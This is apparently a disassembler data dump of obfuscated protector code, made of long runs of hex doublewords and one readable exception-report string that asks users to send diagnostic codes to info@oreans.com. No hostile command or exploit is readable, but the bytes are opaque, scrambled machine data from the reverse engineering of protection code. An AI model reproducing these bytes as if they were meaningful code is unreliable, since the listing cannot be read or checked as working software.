6071Ah, 89000000h, 72FC59Dh, 39BD8306h, 609F4h, 22B840Fh dd 0BF0F0000h, 17858DD1h, 6A0609F7h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 32CCC357h dd 5880Fh, 24BF0000h, 0E85C8DB6h, 14h, 7DFFD3E4h, 2805707h dd 336E05E2h, 6FFCC26Fh, 806B0F15h, 6E9h, 9AEE1C00h, 5922C785h dd 8C0F6050h, 3, 81C3BF0Fh, 704B5CDAh, 16A612Bh, 0F439B5FFh dd 0E9800609h, 3195FFCDh, 6A0609F4h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 618FC352h dd 0DE640684h, 6860FE8h, 0B000000h, 70C3995h, 39B5FF06h dd 0F0609F4h, 95FFCABFh, 6070B79h, 6880Fh, 8D2B0000h, 6072F59h dd 0F01FF68h, 0D19D8900h, 0E9060709h, 10h, 8F7EDA2h, 0F0486254h dd 0E72521B9h, 0B6837656h, 0A09BD83h, 0F000607h, 6584h dd 0D7B96600h, 7E9BEh, 0F33D0000h, 282A5613h, 92858D9Dh dd 6A0609F4h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8BB9C353h, 70B4195h, 55E906h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 8589F3C3h, 6072021h, 3ADB589h, 858D0607h dd 609F468h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 0E2C35242h, 0BCD393F0h, 0A1B501A7h, 50060731h dd 1FD28166h, 7E9A1h, 0C2A00000h, 0B74C4677h, 35B5FF88h dd 6A0609F4h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0E7A2C351h, 3D129A1Dh, 10B5D603h dd 0FFD18B66h, 9F42D95h, 11852906h, 89060727h, 9F43985h dd 0CE906h, 0EC700000h, 55745CFFh, 0CAF145EFh, 0B5FFBD6Bh dd 609F439h, 0AE8h, 0F706A900h, 1D90C27Bh, 33F5481Dh, 720B5BDh dd 95FF5906h, 609F429h, 0F439B5FFh, 958B0609h, 607207Dh dd 0B7995FFh, 0EE90607h, 0EF000000h, 88017E79h, 0FFB19B41h dd 2A4A4C8Bh, 0F675E994h, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 973BF2C3h, 0FF82B5FFh dd 95FF0609h, 6071C19h, 19598D8Bh, 858B0607h, 6070455h dd 10E9h, 0C22C1700h, 5F37D00Bh, 2AE769FFh, 6952360Fh dd 5A9E9FCh, 0BF660000h, 0B58DCDA7h, 609F737h, 13299D29h dd 0E7B60607h, 0A3A6858Dh, 0B70F0609h, 6AD0FFF9h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 7EB2C355h, 4CE6E584h, 93A1FDD7h, 6A006Ah, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 30A947C3h dd 8F0FDE87h, 6, 3331B589h, 95FF0607h, 607191Dh, 0FEB70F50h dd 0A675B95Ah, 0F38B3A35h, 0DA7AE2BAh, 0A6858D12h, 0E80609A3h dd 0Bh, 0B8783869h, 3645A253h, 89227C88h, 73119BDh, 0D0FF5906h dd 2959958Bh, 6A0607h, 2D1BD2Bh, 95FF0607h, 607191Dh, 0BE8h dd 402C5D00h, 0E65CB1E6h, 0F2BBC015h, 0F5C08B59h, 211BD83h dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 0D9B8C08Bh dd 89000007h, 7302D85h, 0A89D8D06h, 0FF0609AAh, 83585BD3h dd 70D65BDh, 17740006h, 0D9B85350h, 89000007h, 7302D85h dd 979D8D06h, 0FF0609A7h, 8B585BD3h, 71B85BDh, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0FAFE52BDh, 27B65D50h, 0BA66C08Bh, 5750240Ah, 934BBA66h dd 8BEE8A5Fh, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1704h, 0C3534300h, 0D9612AB9h, 0AD9D8D53h, 8B060730h dd 8B038903h, 43895043h, 1B9D8D50h, 8B0609FFh, 5B038903h dd 0FD08B66h, 8589C9BFh, 6071461h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F26EC2C3h dd 0A9A9FEF3h, 8D5BAA12h, 9FF1B85h, 14E906h, 53670000h dd 0DAA05AC3h, 0FFDC86DEh, 3A91A8CCh, 64CCFB33h, 66507E7Ch dd 3287F781h, 6A606Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 41868DC3h, 8DA5E980h, 730AD85h dd 0CD858906h, 50060715h, 195DBD8Bh, 6A0607h, 0E1816656h dd 0B15A56C6h, 6A006A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0E577C351h, 8E9DA37h dd 6D000000h, 1648A8EDh, 68E22E1Ah, 1800h, 319D9503h, 89530607h dd 71E4D9Dh, 0C995FF06h, 8006072Fh, 95FFC5F6h, 6071AF5h dd 0B5FFCF8Ah, 609FF82h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 24C35343h, 2D8E32D9h, 60A217C1h, 9E9h dd 72797B00h, 5491DAF5h, 12E9D185h, 9D000000h, 161FC099h dd 2BC48BF7h, 0C1B091FEh, 0CD2D423Ch, 95FF619Ch, 6071C19h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 57C35747h dd 0D477E055h, 1118589h, 850F0607h, 0Ch, 68D0Fh, 0BD8B0000h dd 60720DDh, 30AD858Dh, 9600607h, 705319Dh, 0A1BD8B06h dd 61060705h, 13B1BD8Bh, 408B0607h, 0FB8B6618h, 0F5585C7h dd 607h, 0BD8B0000h, 6072F79h, 99BD23h, 0BD830607h, 6070A09h dd 6D840F00h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 7C00C357h, 68206FAh dd 0DF81665Ah, 8C3D48E7h, 0F000000h, 18B83h, 8840F00h dd 0F000000h, 28Bh, 0E9CA8A00h, 3Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0ACC35545h, 0D8293EF9h, 0AE9993F6h dd 0F9B70F16h, 963Dh, 45830F00h, 0F000001h, 688h, 0C1B52900h dd 8D060721h, 5AF59F85h, 0FEBF0F00h, 0F560D0FFh, 30358589h dd 0E9610607h, 8, 0B662425Bh, 56A2CADEh, 0EFF2858Dh, 8501005Ah dd 6070141h, 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0DC9CEC3h, 42004036h, 2FE9B531h dd 5A520607h, 870FC08Bh, 5, 0D38B6653h, 11BD835Ah, 60702h dd 0BD830975h, 6070D65h, 50197400h, 0B8C08B53h, 0BC6h dd 302D8589h, 9D8D0607h, 609AAA8h, 585BD3FFh, 0D65BD83h dd 74000607h, 0B8535017h, 0BC6h, 302D8589h, 9D8D0607h dd 609A797h, 585BD3FFh, 0C18589F8h, 8B06070Ah, 51958BC0h dd 83060730h, 850FFFF8h, 41h, 134185C7h, 607h, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 293DF0C3h, 9ED0FC1Dh, 0BEE90385h, 8A000000h, 158D8BD1h dd 0E9060705h, 25h, 1F883F5h, 1B850Fh, 81660000h, 0E93037C9h dd 0BFh, 8E9h, 0DB03B000h, 1C626023h, 96BF66E1h, 0F125E9F4h dd 0BD8BFFFFh, 607062Dh, 8D8BC08Bh, 6070B11h, 211BD83h dd 75000607h, 65BD8309h, 6070Dh, 53501974h, 0DDB8C08Bh dd 89000007h, 7302D85h, 0A89D8D06h, 0FF0609AAh, 83585BD3h dd 70D65BDh, 17740006h, 0DDB85350h, 89000007h, 7302D85h dd 979D8D06h, 0FF0609A7h, 8B585BD3h, 71E4D8Dh, 9D095206h dd 60714EDh, 0E9C08B5Ah, 0Ch, 4D74549Ah, 58E496CCh, 6058AF8h dd 3BE9CF8Bh, 31000002h, 7217995h, 1F858D06h, 890609FDh dd 71D99B5h, 17858906h, 0B90609FFh, 71CECA55h, 63E9h, 75BD8B00h dd 8D060703h, 9FB2785h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 6662FE0Ah, 40191AB9h dd 0BADBD8Bh, 0B5890607h, 6071205h, 0FF178589h, 6A0609h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8D89BCC3h, 6072955h, 858D346Ah, 607277Dh, 17B5FF50h dd 6A0609FFh, 195FF00h, 83060712h, 840F07F8h, 162h, 0F6DB8C66h dd 850F04C3h, 0FCh, 152585C6h, 68560607h, 9CA8B852h, 2939B5FFh dd 858D0607h, 607388Dh, 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h dd 9FF8A85h, 2585C606h, 47060715h, 18AC9B68h, 39B5FFECh dd 8D060729h, 7388D85h, 0FFD0FF06h, 0C6F08BD0h, 7152585h dd 61684F06h, 0FFC62F26h, 730A5B5h, 8D858D06h, 0FF060738h dd 869D8DD0h, 530609FFh, 0FF56286Ah, 75C085D0h, 2585C600h dd 41060715h, 87649868h, 0A5B5FFDBh, 8D060730h, 7388D85h dd 89D0FF06h, 9FFA385h, 2585C606h, 4C060715h, 0A4E7A468h dd 0A5B5FF80h, 8D060730h, 7388D85h, 8BD0FF06h, 9FF8A9Dh dd 45B8D06h, 8F9D8D53h, 530609FFh, 0D0FF006Ah, 0FF8A9D8Bh dd 3C70609h, 1, 20C43C7h, 0C7000000h, 7049D85h, 6, 6A006A00h dd 8B006A00h, 9FF8A9Dh, 6A5306h, 0FF86B5FFh, 95FF0609h dd 609FFA3h, 152585C6h, 68450607h, 92A5F797h, 3199B5FFh dd 858D0607h, 607388Dh, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h dd 327504C3h, 0FF8A9D8Bh, 43C70609h, 0Ch, 6A006A00h, 8A9D8B00h dd 530609FFh, 0B5FF006Ah, 609FF86h, 0FFA395FFh, 0B5FF0609h dd 609FF86h, 1AF595FFh, 6A0607h, 191D95FFh, 800F0607h dd 2, 6A66B5h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 160424h, 56460000h, 0B7D4B1C3h, 2DA58589h, 858D0607h dd 60A319Ch, 3150D78Bh, 72D45BDh, 35FF6406h, 0 dd 258964h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8357C357h, 70129BDh dd 840F0006h, 3Bh, 6830Fh, 0B5010000h, 60715BDh, 32B1BD83h dd 0F010607h, 2285h, 61BD8B00h, 80060720h, 0A03A3BDh, 850F0006h dd 0Fh, 3737BA66h, 124E9h, 9AE18100h, 332B66D3h, 0C1F580DBh dd 8C0FC033h, 6, 1E058D03h, 0F400607h, 640B073Fh, 58Fh dd 0C4830000h, 9589FC04h, 6070EFDh, 0C458D181h, 0FB83292Fh dd 11840FFFh, 81000000h, 0A46886EAh, 0D1E90Fh, 8D010000h dd 60706EDh, 62E9h, 0ECBF6600h, 244C8B6Ah, 0A481C70Ch dd 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h dd 0E8550Ch, 5D000000h, 31BEED81h, 838B060Ah, 0B8h, 3268858Dh dd 8389060Ah, 0B8h, 0C3C0335Dh, 29D68B66h, 72F15B5h, 11E906h dd 4240000h, 74B6D8E9h, 0AF535337h, 8AA5B87Ah, 8D845820h dd 0A31B485h, 502BB106h, 64CE8B66h, 35FFh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 95093FC3h, 60717A1h, 258964h, 0B9000000h, 0Ah, 55D704B8h dd 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h, 5FE8EA81h dd 81ED0034h, 4D5868FBh, 0C70A7556h, 717B185h, 106h, 58F6400h dd 0 dd 3104C483h, 712898Dh, 0AE906h, 0A2EC0000h, 0F427C9D8h dd 0C87F4F41h, 0BD89C08Bh, 6071791h, 211BD83h, 75000607h dd 65BD8309h, 6070Dh, 53501974h, 3DB8C08Bh, 89000004h dd 723A985h, 0F9D8D06h, 0FF0609ABh, 83585BD3h, 70D65BDh dd 17740006h, 3DB85350h, 89000004h, 723A985h, 0B09D8D06h dd 0FF0609A7h, 8B585BD3h, 6AF88BCAh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 52D2C356h dd 0FB4ED10Dh, 0E1BDC699h, 0B79280BFh, 0E9C08B7Eh, 13Ah dd 4, 35382E31h, 35h, 6 dup(0) db 0 align 2 aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 dw 0BD83h dd 6072389h, 2D840F00h, 8D000001h, 9A5C785h, 858D5006h dd 609A531h, 16850h, 95FF8000h, 609A5D7h, 330F858Dh, 8D50060Ah dd 0A331985h, 6A5006h, 858D006Ah, 609A545h, 0C7B5FF50h dd 0FF0609A5h, 704DD95h, 0F858D06h, 50060A33h, 331D858Dh dd 6A50060Ah, 8D006A00h, 9A55785h, 0B5FF5006h, 609A5C7h dd 4DD95FFh, 858D0607h, 60A330Fh, 29858D50h, 50060A33h dd 6A006Ah, 0A5A4858Dh, 0FF500609h, 9A5C7B5h, 0DD95FF06h dd 8D060704h, 0A330F85h, 858D5006h, 60A3331h, 6A006A50h dd 0C2858D00h, 500609A5h, 0A5C7B5FFh, 95FF0609h, 60704DDh dd 330F858Dh, 8D50060Ah, 0A332D85h, 6A5006h, 858D006Ah dd 609A5ABh, 0C7B5FF50h, 0FF0609A5h, 704DD95h, 0F858D06h dd 50060A33h, 3321858Dh, 6A50060Ah, 8D006A00h, 9A5B385h dd 0B5FF5006h, 609A5C7h, 4DD95FFh, 858D0607h, 60A330Fh dd 25858D50h, 50060A33h, 6A006Ah, 0A5BA858Dh, 0FF500609h dd 9A5C7B5h, 0DD95FF06h, 0FF060704h, 9A5C7B5h, 0C995FF06h dd 0E9060723h, 0A2h, 1E51BD83h, 0F000607h, 9584h, 0B1BD8300h dd 60732h, 11850Fh, 958B0000h, 6071B75h, 1CF8C281h, 0FE90000h dd 8D000000h, 730AD95h, 34528B06h, 0C340C281h, 95893BD4h dd 6072F11h, 2F11BD83h, 0F000607h, 5584h, 119D8B00h, 8306072Fh dd 38B4CC3h, 33198589h, 9D8B060Ah, 6072F11h, 8B50C383h dd 1D858903h, 8B060A33h, 72F119Dh, 54C38306h, 8589038Bh dd 60A3329h, 2F119D8Bh, 0C3830607h, 89038B58h, 0A332D85h dd 119D8B06h, 8306072Fh, 38B5CC3h, 33218589h, 0BD83060Ah dd 6072389h, 0D850F00h, 83000000h, 71E51BDh, 840F0006h dd 68h, 3331B5FFh, 0B5FF060Ah, 60A3325h, 3321B5FFh, 0B5FF060Ah dd 60A332Dh, 3329B5FFh, 0B5FF060Ah, 60A331Dh, 3319B5FFh dd 858D060Ah, 60A3313h, 4B858D50h, 50060A33h, 2411858Dh dd 0FF500607h, 70F1D95h, 24C48306h, 858D406Ah, 60A3335h dd 11858D50h, 50060724h, 95FF006Ah, 6071201h, 95FF016Ah dd 607191Dh, 12E8C18Bh, 0F3000000h, 0EE514F53h, 6FB986B5h dd 0FC284368h, 63F17C8Dh, 0B3D880CFh, 81FA8B5Bh, 618BC3h dd 1BEAB800h, 4BBA36A7h, 8156B6C8h, 494FC6C2h, 14890FA9h dd 0E9000000h, 0Fh, 0B90A5D3Ch, 10CD1DBh, 2F7F4C0Eh, 0FF8F2539h dd 0C7816633h, 805E01FFh, 0C681BCF4h, 6C87B8F4h, 9E8h dd 3D24A00h, 562A1CBDh, 0BE95733h, 88000000h, 0FFB6A56Ch dd 17444926h, 815FDEAFh, 8F0E9BEEh, 8E853h, 94B80000h dd 428D9235h, 8C0F8514h, 3, 59CFBF0Fh, 103AC681h, 0B70F0DA8h dd 0F0BF56FBh, 8F1CFAE0h, 14E96003h, 0E9000000h, 0D8ED5DB1h dd 0A235A43Ah, 911C3207h, 0C69AE9A6h, 0F2AF8F8h, 1683h dd 10E800h, 57D00000h, 4E5F00D3h, 24027A59h, 18DDD3C2h dd 615E2A00h, 0A9D3EB81h, 0B5BF1422h, 81160DE3h, 22A9CFC3h dd 0DE914h, 0CCA20000h, 0FBCA611Dh, 1F91A7C5h, 83499CF1h dd 850F01EAh, 1Eh, 880Fh, 37E90000h, 0A2000000h, 784F0492h dd 0A2A307C9h, 0E087A2B5h, 0F2CB269h, 5E8A218h, 0C8000000h dd 0E699DB41h, 2830Fh, 5F520000h, 0FF09E958h, 0F7DBFFFFh dd 0C3AB99B6h, 2150EEB2h, 0F60249Eh, 0C08BCABFh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 53C35343h, 602DEE99h dd 8BCA8B66h, 0BD8361C6h, 6070211h, 83097500h, 70D65BDh dd 19740006h, 0C08B5350h, 40EB8h, 2D858900h, 8D060730h dd 9AAA89Dh, 5BD3FF06h, 65BD8358h, 6070Dh, 53501774h, 40EB8h dd 2D858900h, 8D060730h, 9A7979Dh, 5BD3FF06h, 6A0BB558h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 0BC10C357h, 4890FF2h, 66000000h, 8BB546BEh dd 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 0CE0DD1CAh, 0BD8349CEh, 6070129h, 0D840F00h dd 80000000h, 0E1E944E1h, 0BE000001h, 6BED26E1h, 0F766DF8Ch dd 0F0004C7h, 1CF85h, 0D78B6600h, 6AFF2Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 9D8D8FC3h dd 60A3A87h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 1AC35343h, 0F794347h, 8950CABFh, 6A241Ch, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 806024C3h, 61F555CCh, 35FF64h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 0F11AC351h, 1C240431h, 29E42DC3h, 4E25E681h, 0CE923E6h dd 23000000h, 0D6ADC39Ch, 2036AD23h, 64439A54h, 2589h dd 81660000h, 6038D5EEh, 0BBDB8166h, 0F0CF818Bh, 615BF2FDh dd 0CE9C48Bh, 23000000h, 320497BCh, 9DCFB18Bh, 0CDD67603h dd 6A00EB01h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0C553C350h, 0E006C88Fh, 0FB8E78FEh dd 7820Fh, 8F0F0000h, 1, 0F08B66FCh, 4870Fh, 0B9660000h dd 8F64B78Eh, 5, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0FCE0D4CCh, 83FCFDB6h dd 0BF904C4h, 79840FC0h, 66000000h, 61751ABEh, 0BD8DDCB5h dd 6076EC1h, 13E9h, 85336C00h, 3821E246h, 704EC4C0h, 796B965Dh dd 0F293E102h, 1B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1404h, 0C3554500h, 0FFCA8B94h, 14ED80E7h dd 245C8B57h, 0B8838B10h, 0F000000h, 0FE0140B6h, 0B08389C8h dd 83000000h, 0B883h, 335F0200h, 8166C3C0h, 808C7CCEh dd 0E88A4FD5h, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 1BD70ABBh, 0BA3E9889h dd 0F5BA6638h, 10E949h, 0D6360000h, 94875606h, 0B373EB5Ah dd 0A59B9510h, 0C08BCD0Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0C7C35141h, 21C15EAh, 30F3D66h, 83C88A68h dd 70211BDh, 9750006h, 0D65BD83h, 74000607h, 8B535019h dd 40EB8C0h, 85890000h, 60723A9h, 0AB0F9D8Dh, 0D3FF0609h dd 0BD83585Bh, 6070D65h, 50177400h, 40EB853h, 85890000h dd 60723A9h, 0A7B09D8Dh, 0D3FF0609h, 32B5585Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 74C35343h, 0CC330579h dd 8BF9EEBCh, 28F0FC0h, 8B000000h, 0EBC28BF2h, 46F31718h dd 9Bh, 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 0BFED815Dh, 61060A3Bh, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 3BF7B58Bh, 0E681060Ah, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3BFBB53Bh, 860F060Ah dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 72F1185h, 0A188606h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 11CD95FFh, 0F500607h, 0FE244C01h, 1CC08358h dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h dd 9840FC0h, 8B000000h, 72F1185h, 0C606h, 2404FF58h, 0E90004C2h dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh dd 11858B00h, 8606072Fh, 0FDB0A18h, 0FFFFF685h, 4985C7FFh dd 6071Ch, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h dd 0E9188918h, 0Ah, 1C4985C7h, 1000607h, 5B580000h, 0C32404FFh dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h dd 1B101B0h, 13E9h, 0C88AAC00h, 0C332C302h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC90Ah, 0FFFFFFE5h, 850FD20Bh dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh dd 0D88C66C3h, 840F04A8h, 29h, 3B9C85C7h, 1060Ah, 0F500000h dd 0FE244C01h, 3BA0858Fh, 858D060Ah, 60A3B98h, 3BA0BD8Dh dd 3889060Ah, 23E9h, 0AD858D00h, 8B060730h, 17053840h dd 899B46F3h, 0A3B9885h, 0AD858D06h, 8B060730h, 85893C40h dd 60A3B9Ch, 3BB5858Dh, 8589060Ah, 60711CDh, 87E9h, 0D48B5200h dd 8728B60h, 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 8728B60h dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h, 33535156h dd 8728BDBh, 0E90C4A8Bh, 13h, 0F2D3CACh, 0A84h, 34980400h dd 0C1D83213h, 0B4908C3h, 0E5850FC9h, 8BFFFFFFh, 5E595BC3h dd 8C25Ah, 3E28858Dh, 8589060Ah, 6072F61h, 3E50858Dh, 8589060Ah dd 607044Dh, 3E78858Dh, 8589060Ah, 6071FD1h, 8EBh, 0 dd 7BE90000h, 60000000h, 4C010F52h, 835AFE24h, 858B24C2h dd 60732B1h, 89C7858Dh, 88B060Ah, 1000888Bh, 0A8B0000h dd 0FC4A8B66h, 3ED98D89h, 0BD83060Ah, 6070A09h, 0F840F00h dd 60000000h, 95FF006Ah, 6071B69h, 0FFC4E961h, 8966FFFFh dd 0CEC1FC72h, 72896610h, 4CD5202h, 0D585895Ah, 8B060A3Eh dd 0A3ED9B5h, 10CEC106h, 2728966h, 3ED9B58Bh, 8966060Ah dd 8B61FC72h, 0A3ED585h, 958DC306h, 60721E1h, 2F119589h dd 95890607h, 6071A29h, 1A2985FFh, 85C60607h, 6071525h dd 48D86853h, 0B5FFFCB1h, 6072939h, 388D858Dh, 0D0FF0607h dd 1B698589h, 858D0607h, 60A3BCFh, 0C318589h, 0EB0607h dd 5C7E9h, 5BBE900h, 83680000h, 0E9060A40h, 0FFFD3CCDh dd 0A41A568h, 3CC3E906h, 3968FFFDh, 0E9060A42h, 0FFFD3CB9h dd 0A42F068h, 3CAFE906h, 2F68FFFDh, 0E9060A44h, 0FFFD3CA5h dd 236F0DBAh, 297503C5h, 2E7A02CBh, 2E7A24D0h, 2F7B09D0h dd 1CE32445h, 26EE4C98h, 30F654A0h, 35F856A2h, 6DE85BA7h dd 6589F9Eh, 0FDE1C0F0h, 0C67C76Ah, 67989BF6h, 6ED0F60Ch dd 0FEF60C67h, 0F60C6733h, 0D3792583h, 4B1AD020h, 0F60C67E5h dd 0C67B27Dh, 38308E76h, 86CEEEBDh, 90EE7C13h, 37873AE4h dd 0D68C10D9h, 0D331ACFCh, 80D08311h, 2BF14FCAh, 35FB59A5h dd 0ED634AFh, 0CF85D588h, 0D7912D1Ch, 0A937FE5Ch, 0D62F9DE6h dd 6E243D66h, 0F50C24F3h, 29797A14h, 0D786D5CAh, 80D68934h dd 44Eh, 0BF0BB15Eh, 0C5119F61h, 0CA169E67h, 0D21EC06Ch dd 0DB27AD74h, 0D097D0F1h, 0D29AF844h, 0DCA2004Ch, 0E9AC0A56h dd 219C0F5Bh, 627E352h, 0B99D7CF0h, 0D98C18DBh, 1BFD9B5Eh dd 474C8390h, 0C7EC291h, 6E11F60Ch, 0BA4609D4h, 9735E13Fh dd 92DE94E4h, 30E37134h, 0CE810FD2h, 6A1DA770h, 0DC0460Ch dd 518EA84Bh, 8752EC8Fh, 0D9672AC4h, 3A86D626h, 0C399D89Ah dd 3A81893h, 0BE340000h, 5A109E60h, 0DA9D39FCh, 965247DBh dd 0DA2A909Ch, 8D5CD727h, 0F60CC8AEh, 5C0F5FAFh, 0CC8A38Dh dd 0AE882BF6h, 88D46023h, 5EE6AF0Dh, 0CC8AC8Fh, 6736B1F6h dd 0F60CC8D4h, 6EE93989h, 0CC89C9Fh, 0FE71C1F6h, 0C881B483h dd 8EDEF60Ch, 37EEB513h, 0CC8D568h, 0EA3A8AF6h, 8C10D937h dd 8C32DE3Ch, 0FFC523D6h, 6243DFEh, 2575B231h, 2CB87BD9h dd 36328A79h, 3BC98CEAh, 0CB4EFDC0h, 0BF523919h, 30F85609h dd 0A48B5AA6h, 2DF60CE9h, 3D2CDF65h, 9D6CE781h, 0FC13189Fh dd 981170C0h, 0BCAED042h, 32CB309h, 0D3800000h, 0BD7FDD29h dd 0BC85E32Fh, 0E28EEC38h, 0CB92F03Ch, 0EE0FF945h, 0E5AE6ADh dd 125EE8B0h, 1C68EEB4h, 216DFBBEh, 0D16433AEh, 8EF00626h dd 18DBCBAFh, 0C796118Ch, 0F60C6774h, 30E399E9h, 0CE810FD2h dd 0A31EA870h, 43F68245h, 0E29523E5h, 408C4292h, 0C680E71h dd 0E17336F6h, 8EAD7CA3h, 0CFF60C85h, 0D153BC7Fh, 0A2115417h dd 0B328F73Eh, 20032EFDh, 8D0F60Ch, 35FCCB7Eh, 0DF60C20h dd 6D3CB7B1h, 0FC13C903h, 8E2584D4h, 7AAED082h, 29871C7h dd 67140000h, 591B79C5h, 58217FCBh, 7E2A88D4h, 6F3694E0h dd 8AAB95E1h, 0BA068A51h, 0BE0A945Ch, 0C00C9A60h, 0C5119F62h dd 3508D752h, 2AF00625h, 18DB674Bh, 0B87BD98Ch, 14B7792Ch dd 60ECAF3Ah, 2EB27414h, 23F293C3h, 77000002h, 6DF587B4h dd 2E5D20A4h, 12F6AC05h, 0C67C76Ah, 0C0460CF6h, 881EE745h dd 2F7F32DCh, 7FDD29DFh, 0FD782BB9h, 0B40A633Ah, 33F97B03h dd 5AAAFAADh, 0F28046A4h, 921EE13Fh, 37D581DFh, 0F54DF084h dd 449422E8h, 7A47DF82h, 42E22EB4h, 93C36780h, 48C0h, 744ADC00h dd 66AA79F4h, 0AFFC1369h, 0E2BD005Fh, 0A659AED0h, 1E150h dd 7E1ECB00h, 8412D432h, 8B11DA38h, 9735E13Fh, 9A26ED4Bh dd 0A43644Eh, 1371BD43h, 1775C14Bh, 1977C351h, 0B7ECA56h dd 2572C190h, 0CEBF006h, 0D04BC628h, 160A9255h, 5306B54Dh dd 0CC2B184h, 0A85EAEF6h, 0CCDA2D9h, 8BB0BF6h, 125EE4AAh dd 0E863F1B4h, 0C29F9E6Dh, 62C0F60Ch, 10C6169Ch, 1A4E6E5Dh dd 